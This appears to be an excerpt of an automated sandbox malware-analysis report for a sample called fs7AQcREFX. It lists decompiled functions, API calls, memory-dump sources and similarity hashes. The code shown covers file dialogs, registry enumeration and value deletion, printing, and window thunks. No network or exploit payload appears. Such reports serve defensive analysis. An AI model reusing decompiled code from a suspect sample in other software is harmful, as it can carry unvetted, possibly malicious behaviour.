0x00000000
0x001011ad
0x001011bc
0x001011ce
0x001011d8
0x001011d8
0x001011ab
0x00000000

APIs

GetParent.USER32(?), ref: 00101130
SendMessageA.USER32(00000000,0000040C,00000000,00000000), ref: 00101148
_memset.LIBCMT ref: 0010116F
SendMessageA.USER32(00000000,0000041D,00000000,00000050), ref: 00101182
PostMessageA.USER32 ref: 001011BC
PostMessageA.USER32 ref: 001011CE

Strings

P, xrefs: 00101161

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$PostSend$Parent_memset
String ID: P
API String ID: 2781538653-3110715001
Opcode ID: 7dafaefa66c0e2a133620b5884c2e8ae63b276f118599d9ff1f15caafaa8ea71
Instruction ID: 1afecaa3b77d4fe2dde6b80b2d4e35189666bd16b621a79751624cae329758e9
Opcode Fuzzy Hash: 7dafaefa66c0e2a133620b5884c2e8ae63b276f118599d9ff1f15caafaa8ea71
Instruction Fuzzy Hash: 1A21A472A402187BD714DB99DC81FEABBA8EB48710F108016FB14AB2C0C7F5A8458BE5

Uniqueness

Uniqueness Score: -1.00%

Function 025275F7 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 79registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F,00000000), ref: 02527645
RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000020), ref: 02527679
RegDeleteValueA.ADVAPI32(00000000,?), ref: 0252769D
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 025276D2
RegCloseKey.ADVAPI32(00000000), ref: 025276E0

Strings

, xrefs: 02527653
, xrefs: 0252765A

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID: $
API String ID: 647993726-227171996
Opcode ID: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction ID: 4796376803244c76c47f99049329ded25a28e7314a61c7c4d9340553cd8cb373
Opcode Fuzzy Hash: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction Fuzzy Hash: 0F3152B0A042599BEB04CFD4D855BBFBBB9BB48704F14415CE600A7281D3B96A04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 000F7370 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 65
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E000F7370(void* __edi, void* __eflags) {
				signed int _v8;
				CHAR* _v584;
				CHAR* _v592;
				intOrPtr _v632;
				char _v652;
				int _v656;
				void* __ebx;
				void* __esi;
				signed int _t16;
				void* _t38;
				int _t40;
				signed int _t42;

				_t38 = __edi;
				_t16 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t16 ^ _t42;
				_t33 = __edi + 0x58;
				_v656 = 0;
				E000FACF0( &_v652, __eflags, 0, __edi + 0x58, "All Files (*.*)");
				_v652 = 0x112d54;
				if(E000FADC0(GetActiveWindow(),  &_v652) != 1) {
					L3:
					_t40 = _v656;
				} else {
					_t40 = E000F7250(_v592, __edi);
					_v656 = _t40;
					if(_t40 == 0) {
						MessageBoxA( *(__edi + 4), "Error writing file!\n", 0x11293e, 0);
					} else {
						_t33 = lstrcpyA;
						lstrcpyA(lstrcpyA, _v592);
						lstrcpyA(__edi + 0x15c, _v584);
						_t37 =  *(__edi + 4);
						SendMessageA( *(__edi + 4), 0xb9, 0, 0);
						goto L3;
					}
				}
				_t21 = _v632;
				if(_v632 != 0) {
					E00105701(_t21);
				}
				return E001059E6(_t40, _t33, _v8 ^ _t42, _t37, _t38, _t40);
			}

0x000f7370
0x000f7379
0x000f7380
0x000f738a
0x000f7396
0x000f73a0
0x000f73a5
0x000f73bd
0x000f740a
0x000f740a
0x000f73bf
0x000f73cb
0x000f73cd
0x000f73d5
0x000f7442
0x000f73d7
0x000f73e5
0x000f73eb
0x000f73f5
0x000f73f7
0x000f7404
0x00000000
0x000f7404
0x000f73d5
0x000f7410
0x000f7418
0x000f741b
0x000f741b
0x000f7431

APIs

Part of subcall function 000FACF0: _memset.LIBCMT ref: 000FAD0A
Part of subcall function 000FACF0: lstrlenA.KERNEL32(?,All Files (*.*),00000000), ref: 000FAD81
Part of subcall function 000FACF0: lstrcpynA.KERNEL32(?,?,00000104), ref: 000FAD97

GetActiveWindow.USER32 ref: 000F73AF

Part of subcall function 000FADC0: GetCurrentThreadId.KERNEL32 ref: 000FADD3
Part of subcall function 000FADC0: EnterCriticalSection.KERNEL32(00170C68,?,000F73BA), ref: 000FADE1
Part of subcall function 000FADC0: LeaveCriticalSection.KERNEL32(00170C68,?,000F73BA), ref: 000FADFB
Part of subcall function 000FADC0: GetOpenFileNameA.COMDLG32(?,?,000F73BA), ref: 000FAE0B

Part of subcall function 000F7250: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,08000020,00000000), ref: 000F726A

lstrcpyA.KERNEL32(?,?), ref: 000F73EB
lstrcpyA.KERNEL32(?,?), ref: 000F73F5
SendMessageA.USER32(?,000000B9,00000000,00000000), ref: 000F7404
MessageBoxA.USER32 ref: 000F7442

Strings

Error writing file!, xrefs: 000F743C
All Files (*.*), xrefs: 000F7385

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalFileMessageSectionlstrcpy$ActiveCreateCurrentEnterLeaveNameOpenSendThreadWindow_memsetlstrcpynlstrlen
String ID: All Files (*.*)$Error writing file!
API String ID: 155815269-2631184309
Opcode ID: a2c9f57403bc19c1e56689d3d137ed51b02a2451ef10d6bf21942e4e01dfcb83
Instruction ID: cfc15ac42354dc9d79e0e41e7cb866030b63e0b9bb94cf856c5d9f636aa06d63
Opcode Fuzzy Hash: a2c9f57403bc19c1e56689d3d137ed51b02a2451ef10d6bf21942e4e01dfcb83
Instruction Fuzzy Hash: E0216675A4121CABD7649B64CD89BE9B7B8FB04704F504194FA0CA7680DB70AD809FA1

Uniqueness

Uniqueness Score: -1.00%

Function 025514A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 025514DB
SetLastError.KERNEL32(0000007F), ref: 02551507

Memory Dump Source

Source File: 00000000.00000002.719923860.0000000002551000.00000020.00001000.00020000.00000000.sdmp, Offset: 02551000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2551000_fs7AQcREFX.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 64221f4d0130923bff0beaa3173d2934334e94c4ddc45426167d848294d008a3
Instruction ID: 9b29a9376bcaa313100ff83b8ea228861d0f0492cd7b6da14b13765b1cbf7b7b
Opcode Fuzzy Hash: 64221f4d0130923bff0beaa3173d2934334e94c4ddc45426167d848294d008a3
Instruction Fuzzy Hash: 5871C574E00619EFDB04DF94C590BADBBB2FF48304F648599D81AAB341D734AA41CF98

Uniqueness

Uniqueness Score: -1.00%

Function 000F1920 Relevance: 12.1, APIs: 8, Instructions: 137
registryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E000F1920(void** __ecx, char* _a4) {
				signed int _v12;
				char _v272;
				void* _v276;
				int _v280;
				int _v284;
				int _v288;
				int _v292;
				char* _v296;
				struct _FILETIME _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t36;
				long _t40;
				long _t44;
				void* _t48;
				void* _t51;
				void* _t52;
				void* _t66;
				void* _t73;
				char* _t77;
				void* _t80;
				signed int _t82;

				_t36 =  *0x159060; // 0x1f9a9bdf
				_v12 = _t36 ^ _t82;
				_t77 = _a4;
				_t80 = __ecx;
				_v296 = _t77;
				_v288 = 0;
				_v284 = 0;
				_v280 = 0;
				_v276 = 0;
				_t40 = RegOpenKeyExA( *__ecx, _t77, 0, __ecx[1] | 0x0002001f,  &_v276);
				_t66 = _v288;
				_t62 = _t40;
				if(_t40 != 0) {
					L4:
					if(_t66 != 0) {
						RegCloseKey(_t66);
					}
					return E001059E6(_t62, _t62, _v12 ^ _t82, _t77, _t80, 0);
				} else {
					_t44 = 0;
					if(_t66 != 0) {
						_t44 = RegCloseKey(_t66);
					}
					_t66 = _v276;
					_v284 = 0;
					_t62 = _t44;
					_v288 = _t66;
					if(_t44 == 0) {
						_t63 = RegEnumKeyExA;
						_t78 =  &_v292;
						_v292 = 0x100;
						if(RegEnumKeyExA(_t66, 0,  &_v272,  &_v292, 0, 0, 0,  &_v304) != 0) {
							L11:
							_t48 = _v288;
							if(_t48 != 0) {
								RegCloseKey(_t48);
								_v288 = 0;
							}
							_t63 = _v296;
							_v284 = 0;
							_t80 = E000F1740(_t80, _v296);
							_t51 = _v288;
							if(_t51 != 0) {
								RegCloseKey(_t51);
							}
							_t52 = _t80;
							goto L16;
						} else {
							while(1) {
								_t52 = E000F1920( &_v288,  &_v272);
								_v276 = _t52;
								if(_t52 != 0) {
									break;
								}
								_t78 = _v288;
								_v292 = 0x100;
								if(RegEnumKeyExA(_v288, 0,  &_v272,  &_v292, 0, 0, 0,  &_v304) == 0) {
									continue;
								} else {
									goto L11;
								}
								goto L19;
							}
							_t73 = _v288;
							if(_t73 == 0) {
								L16:
								return E001059E6(_t52, _t63, _v12 ^ _t82, _t78, _t80, 0);
							} else {
								RegCloseKey(_t73);
								return E001059E6(_v276, _t63, _v12 ^ _t82, _t78, _t80, 0);
							}
						}
					} else {
						goto L4;
					}
				}
				L19:
			}

0x000f1929
0x000f1930
0x000f1933
0x000f1939
0x000f1952
0x000f1958
0x000f195e
0x000f1964
0x000f196a
0x000f1970
0x000f1976
0x000f197c
0x000f1980
0x000f19a7
0x000f19a9
0x000f19ac
0x000f19ac
0x000f19c4
0x000f1982
0x000f1982
0x000f1986
0x000f1989
0x000f1989
0x000f198f
0x000f1995
0x000f199b
0x000f199d
0x000f19a5
0x000f19c7
0x000f19d7
0x000f19e7
0x000f19f5
0x000f1a50
0x000f1a50
0x000f1a58
0x000f1a5b
0x000f1a61
0x000f1a61
0x000f1a67
0x000f1a6f
0x000f1a7a
0x000f1a7c
0x000f1a84
0x000f1a87
0x000f1a87
0x000f1a8d
0x00000000
0x000f19f7
0x000f1a00
0x000f1a0d
0x000f1a12
0x000f1a1a
0x00000000
0x00000000
0x000f1a27
0x000f1a40
0x000f1a4e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000f1a4e
0x000f1aa2
0x000f1aaa
0x000f1a92
0x000f1a9f
0x000f1aac
0x000f1aad
0x000f1ac9
0x000f1ac9
0x000f1aaa
0x00000000
0x00000000
0x00000000
0x000f19a5
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 000F1970
RegCloseKey.ADVAPI32(?,?,?,00000000,?,?), ref: 000F1989
RegCloseKey.ADVAPI32(?,?,?,00000000,?,?), ref: 000F19AC
RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?,00000000,?,?), ref: 000F19F1
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000100,00000000,00000000,00000000,?,?,?,00000000,?,?), ref: 000F1A4A
RegCloseKey.ADVAPI32(?,?,?,00000000,?,?), ref: 000F1A5B
RegCloseKey.ADVAPI32(?,?,?,00000000,?,?), ref: 000F1A87

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Close$Enum$Open
String ID:
API String ID: 4245071059-0
Opcode ID: dc4e47a4e543051c4dab7d1ccfc5427fbc59b3258f5164ca7d4f1af205981137
Instruction ID: 47a39414b2b702bf507a290623ce7c2439d5f26235515d56a710c06b52ada317
Opcode Fuzzy Hash: dc4e47a4e543051c4dab7d1ccfc5427fbc59b3258f5164ca7d4f1af205981137
Instruction Fuzzy Hash: 2E414DB1A0112CDBCB29DB55DC85AEEB7B8EF4D750F00819AE609D3640D6709E85DFE0

Uniqueness

Uniqueness Score: -1.00%

Function 000F6580 Relevance: 12.1, APIs: 8, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E000F6580(void* __esi) {
				struct HDC__* _v8;
				char _v16;
				struct HDC__* _v20;
				struct HDC__* _v24;
				signed int _t35;
				int _t41;
				DEVMODEA* _t52;
				DEVMODEA* _t54;
				DEVMODEA* _t59;
				struct HDC__* _t66;
				intOrPtr _t92;
				void* _t94;
				signed int _t95;
				void* _t98;

				_t94 = __esi;
				_push(0xffffffff);
				_push(E0010F0B8);
				_push( *[fs:0x0]);
				_t35 =  *0x159060; // 0x1f9a9bdf
				_push(_t35 ^ _t95);
				 *[fs:0x0] =  &_v16;
				_v24 = 0;
				_v8 = 0;
				_t66 = E000FC830(_t98, __esi,  *((intOrPtr*)(__esi + 8)));
				_v24 = _t66;
				if(_t66 == 0) {
					L3:
					 *[fs:0x0] = _v16;
					return 0;
				} else {
					_t41 = StartDocA(_t66, __esi + 0xc);
					 *(__esi + 0x20) = _t41;
					_push(_t66);
					if(_t41 > 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__esi + 4))))))))();
						_v20 = 0;
						_t92 =  *((intOrPtr*)(__esi + 0x28));
						__eflags = _t92 -  *((intOrPtr*)(__esi + 0x2c));
						if(_t92 <=  *((intOrPtr*)(__esi + 0x2c))) {
							while(1) {
								_t52 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 4)))) + 0x18))))(_t92);
								__eflags = _t52;
								if(_t52 == 0) {
									goto L12;
								}
								_t54 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 4)))) + 0x14))))(_v20, _t92);
								__eflags = _t54;
								if(_t54 != 0) {
									ResetDCA(_t66, _t54);
								}
								StartPage(_t66);
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 4)))) + 8))))(_t92, _t66);
								_t59 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 4)))) + 0xc))))(_t92, _t66);
								__eflags = _t59;
								if(_t59 == 0) {
									 *(_t94 + 0x24) = 1;
								}
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 4)))) + 0x10))))(_t92, _t66);
								EndPage(_t66);
								__eflags =  *(_t94 + 0x24);
								if( *(_t94 + 0x24) == 0) {
									_v20 = _t92;
									_t92 = _t92 + 1;
									__eflags = _t92 -  *((intOrPtr*)(_t94 + 0x2c));
									if(_t92 <=  *((intOrPtr*)(_t94 + 0x2c))) {
										continue;
									}
								}
								goto L12;
							}
						}
						L12:
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 4)))) + 4))))(_t66,  *(_t94 + 0x24) & 0x000000ff);
						__eflags =  *(_t94 + 0x24);
						_push(_t66);
						if( *(_t94 + 0x24) == 0) {
							EndDoc();
						} else {
							AbortDoc();
						}
						 *((intOrPtr*)(_t94 + 0x20)) = 0;
						DeleteDC(_t66);
						 *[fs:0x0] = _v16;
						return 1;
					} else {
						DeleteDC();
						goto L3;
					}
				}
			}

0x000f6580
0x000f6583
0x000f6585
0x000f6590
0x000f6596
0x000f659d
0x000f65a1
0x000f65a9
0x000f65ac
0x000f65b9
0x000f65bb
0x000f65c0
0x000f65db
0x000f65e0
0x000f65ed
0x000f65c2
0x000f65c7
0x000f65cd
0x000f65d0
0x000f65d3
0x000f65f5
0x000f65f7
0x000f65fa
0x000f65fd
0x000f6600
0x000f6602
0x000f660b
0x000f660d
0x000f660f
0x00000000
0x00000000
0x000f661e
0x000f6620
0x000f6622
0x000f6626
0x000f6626
0x000f662d
0x000f663d
0x000f6649
0x000f664b
0x000f664d
0x000f664f
0x000f664f
0x000f665d
0x000f6660
0x000f6666
0x000f666a
0x000f666c
0x000f666f
0x000f6670
0x000f6673
0x00000000
0x00000000
0x000f6673
0x00000000
0x000f666a
0x000f6602
0x000f6675
0x000f6683
0x000f6685
0x000f6689
0x000f668a
0x000f6694
0x000f668c
0x000f668c
0x000f668c
0x000f669b
0x000f66a2
0x000f66ad
0x000f66ba
0x000f65d5
0x000f65d5
0x00000000
0x000f65d5
0x000f65d3

APIs

Part of subcall function 000FC830: CreateDCA.GDI32(00000000,?,00000000,?), ref: 000FC8C1

StartDocA.GDI32(00000000,?), ref: 000F65C7
DeleteDC.GDI32(00000000), ref: 000F65D5
ResetDCA.GDI32(00000000,00000000,?,?,1F9A9BDF), ref: 000F6626
StartPage.GDI32(00000000), ref: 000F662D
EndPage.GDI32(00000000), ref: 000F6660
AbortDoc.GDI32(00000000), ref: 000F668C
EndDoc.GDI32(00000000), ref: 000F6694
DeleteDC.GDI32(00000000), ref: 000F66A2

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: DeletePageStart$AbortCreateReset
String ID:
API String ID: 843537941-0
Opcode ID: c95aa711cb8360f57dc8753aab7f392364292e0c922dd97e4a0a32bea0a7b3e5
Instruction ID: 398771e27e23a36e0b5d643e92a4be6016b109a9337148e01a55295fa811329e
Opcode Fuzzy Hash: c95aa711cb8360f57dc8753aab7f392364292e0c922dd97e4a0a32bea0a7b3e5
Instruction Fuzzy Hash: 97415875A00A08AFD714DF64C984E7AB7F9FF8DB04B10854DE95A87B61CB72AC41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00104510 Relevance: 12.1, APIs: 8, Instructions: 113
threadCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00104510(struct HMENU__* __eax, signed short __ebx, void* __esi, struct HWND__* _a4, int* _a8, CHAR* _a12, signed int _a16, long _a20, struct HMENU__* _a24) {
				void* _t27;
				struct HMENU__* _t31;
				int* _t33;
				void* _t38;
				signed short _t39;
				struct HMENU__* _t45;
				struct HMENU__* _t49;
				struct HMENU__** _t57;
				struct HMENU__* _t58;

				_t39 = __ebx;
				_t49 = __eax;
				if( *((intOrPtr*)(__eax + 0x34)) != 0) {
					L2:
					_t27 =  *(_t49 + 0x34);
					 *_t27 = 0x42444c7;
					 *(_t27 + 4) = 0;
					 *((char*)(_t27 + 8)) = 0xe9;
					 *((intOrPtr*)(_t27 + 9)) = 0xfffffff3 - _t27;
					FlushInstructionCache(GetCurrentProcess(), _t27, 0xd);
					if(_t39 == 0) {
						goto L12;
					} else {
						_t57 = _t49 + 0x28;
						if(_t57 == 0 || _t49 == 0) {
							RaiseException(0xc0000005, 1, 0, 0);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_t31 =  *_t57;
							_push(_t49);
							if(_t31 != 0) {
								_t31 = E00105DE2(_t31);
								 *_t57 = 0;
							}
							_t57[2] = 0;
							_t57[1] = 0;
							return _t31;
						} else {
							 *_t57 = _t49;
							_t57[1] = GetCurrentThreadId();
							EnterCriticalSection(0x170c68);
							_t45 =  *0x170c80; // 0x0
							_t57[2] = _t45;
							 *0x170c80 = _t57;
							LeaveCriticalSection(0x170c68);
							_t58 = _a24;
							if(_t58 == 0 && (_a16 & 0x40000000) != 0) {
								_t58 = _t49;
								_a24 = _t58;
							}
							_t33 = _a8;
							if(_t33 == 0) {
								_t33 = 0x15ad10;
								_a8 = 0x15ad10;
							}
							_t17 =  &(_t33[1]); // 0x80000000
							_t19 =  &(_t33[3]); // 0x0
							_t20 =  &(_t33[2]); // 0x0
							return CreateWindowExA(_a20, _t39 & 0x0000ffff, _a12, _a16,  *_t33,  *_t17,  *_t20 -  *_t33,  *_t19 -  *_t17, _a4, _t58,  *0x170c08, 0);
						}
					}
				} else {
					_t38 = E001057B1();
					 *(_t49 + 0x34) = _t38;
					if(_t38 == 0) {
						SetLastError(0xe);
						L12:
						return 0;
					} else {
						goto L2;
					}
				}
			}

0x00104510
0x00104515
0x0010451b
0x0010452d
0x0010452d
0x0010453a
0x00104540
0x00104547
0x0010454b
0x00104555
0x0010455e
0x00000000
0x00104564
0x00104564
0x00104569
0x00104623
0x00104629
0x0010462a
0x0010462b
0x0010462c
0x0010462d
0x0010462e
0x0010462f
0x00104630
0x00104632
0x00104637
0x0010463a
0x00104642
0x00104642
0x00104644
0x00104647
0x0010464b
0x00104577
0x00104577
0x00104584
0x00104587
0x0010458d
0x00104593
0x0010459b
0x001045a1
0x001045a7
0x001045ac
0x001045b7
0x001045b9
0x001045b9
0x001045bc
0x001045c1
0x001045c3
0x001045c8
0x001045c8
0x001045d1
0x001045de
0x001045e1
0x00104605
0x00104605
0x00104569
0x0010451d
0x0010451d
0x00104522
0x00104527
0x0010460a
0x00104610
0x00104615
0x00000000
0x00000000
0x00000000
0x00104527

APIs

GetCurrentProcess.KERNEL32(00000000,0000000D,?,?,?,000F7D5F,?,0015AD10,00000000,5600184C,00000000,00000000), ref: 0010454E
FlushInstructionCache.KERNEL32(00000000,?,?,000F7D5F,?,0015AD10,00000000,5600184C,00000000,00000000), ref: 00104555
GetCurrentThreadId.KERNEL32 ref: 00104579
EnterCriticalSection.KERNEL32(00170C68,?,?,000F7D5F,?,0015AD10,00000000,5600184C,00000000,00000000), ref: 00104587
LeaveCriticalSection.KERNEL32(00170C68,?,?,000F7D5F,?,0015AD10,00000000,5600184C,00000000,00000000), ref: 001045A1
CreateWindowExA.USER32 ref: 001045FC

Part of subcall function 001057B1: GetProcessHeap.KERNEL32(00000000,0000000D,00000000,00000000,00104307), ref: 00105735
Part of subcall function 001057B1: HeapAlloc.KERNEL32(00000000), ref: 0010573C

SetLastError.KERNEL32(0000000E,?,?,?,000F7D5F,?,0015AD10,00000000,5600184C,00000000,00000000), ref: 0010460A
RaiseException.KERNEL32(C0000005,00000001,00000000,00000000,?,?,000F7D5F,?,0015AD10,00000000,5600184C,00000000,00000000), ref: 00104623

Part of subcall function 00105DE2: HeapFree.KERNEL32(00000000,00000000,?,0010755E,00000000,?,?,00107A12,001063ED,?,?,?,000F1339,80070057), ref: 00105DF8
Part of subcall function 00105DE2: GetLastError.KERNEL32(00000000,?,0010755E,00000000,?,?,00107A12,001063ED,?,?,?,000F1339,80070057), ref: 00105E0A

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Heap$CriticalCurrentErrorLastProcessSection$AllocCacheCreateEnterExceptionFlushFreeInstructionLeaveRaiseThreadWindow
String ID:
API String ID: 1167118205-0
Opcode ID: 2b2e7dd8dfcb34ff37d902a227bab9d4ea5f3eed7987ca51e1140233333d6c0f
Instruction ID: e3729981ac4e367bd26e66b126d6cb917412da0c1f515d62a29bef6d0b1abd9d
Opcode Fuzzy Hash: 2b2e7dd8dfcb34ff37d902a227bab9d4ea5f3eed7987ca51e1140233333d6c0f
Instruction Fuzzy Hash: 2E31A0B1A00601AFD7119F65DD48B6A77A8FF89720F158219F9499B690C7B0E880CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000FC710 Relevance: 12.1, APIs: 8, Instructions: 103
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E000FC710(intOrPtr* __ecx, void* __eflags) {
				char _v8;
				char _v16;
				char _v20;
				CHAR** _v24;
				void* _v28;
				signed int _t26;
				void* _t31;
				void* _t33;
				void* _t40;
				intOrPtr* _t48;
				CHAR* _t51;
				void* _t60;
				intOrPtr _t69;
				void* _t71;
				CHAR* _t72;
				signed int _t73;
				void* _t74;
				void* _t76;

				_push(0xffffffff);
				_push(E0010F2F0);
				_push( *[fs:0x0]);
				_t26 =  *0x159060; // 0x1f9a9bdf
				_push(_t26 ^ _t73);
				 *[fs:0x0] =  &_v16;
				_t48 = __ecx;
				_v28 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				_v8 = 1;
				_t69 =  *__ecx;
				_push(0);
				E001062C2();
				_v24 = 0;
				_t31 = E00101970(_t69, _t60,  &_v24);
				_t76 = _t74 - 0xc + 8;
				if(_t31 == 0) {
					_push(0);
					E001062C2();
					_v20 = 0;
					_t33 = E00101A30( *_t48,  &_v20,  &_v20);
					_t76 = _t76 + 8;
					if(_t33 == 0) {
						goto L9;
					}
					_t51 =  *(_v20 + 4);
					goto L4;
				} else {
					_t51 =  *_v24;
					L4:
					if(_t51 != 0) {
						_t14 = lstrlenA(_t51) + 9; // 0x9
						_t66 = _t14;
						_t40 = GlobalAlloc(2, _t14);
						_v28 = _t40;
						_t71 = GlobalLock(_t40);
						if(_t71 != 0) {
							E00106820(_t71, 0, _t66);
							_t76 = _t76 + 0xc;
							 *((short*)(_t71 + 2)) = 8;
							_t72 = _t71 + 8;
							_t17 = lstrlenA(_t51) + 1; // 0x1
							if(_t17 > lstrlenA(_t51)) {
								lstrcpyA(_t72, _t51);
							}
							GlobalUnlock(_v28);
						}
					}
					L9:
					_v8 = 0;
					_push(_v20);
					E001062C2();
					_v8 = 0xffffffff;
					_push(_v24);
					E001062C2();
					 *[fs:0x0] = _v16;
					return _v28;
				}
			}

0x000fc713
0x000fc715
0x000fc720
0x000fc727
0x000fc72e
0x000fc732
0x000fc738
0x000fc73c
0x000fc73f
0x000fc742
0x000fc745
0x000fc748
0x000fc74c
0x000fc74e
0x000fc74f
0x000fc75a
0x000fc75d
0x000fc762
0x000fc767
0x000fc772
0x000fc773
0x000fc77e
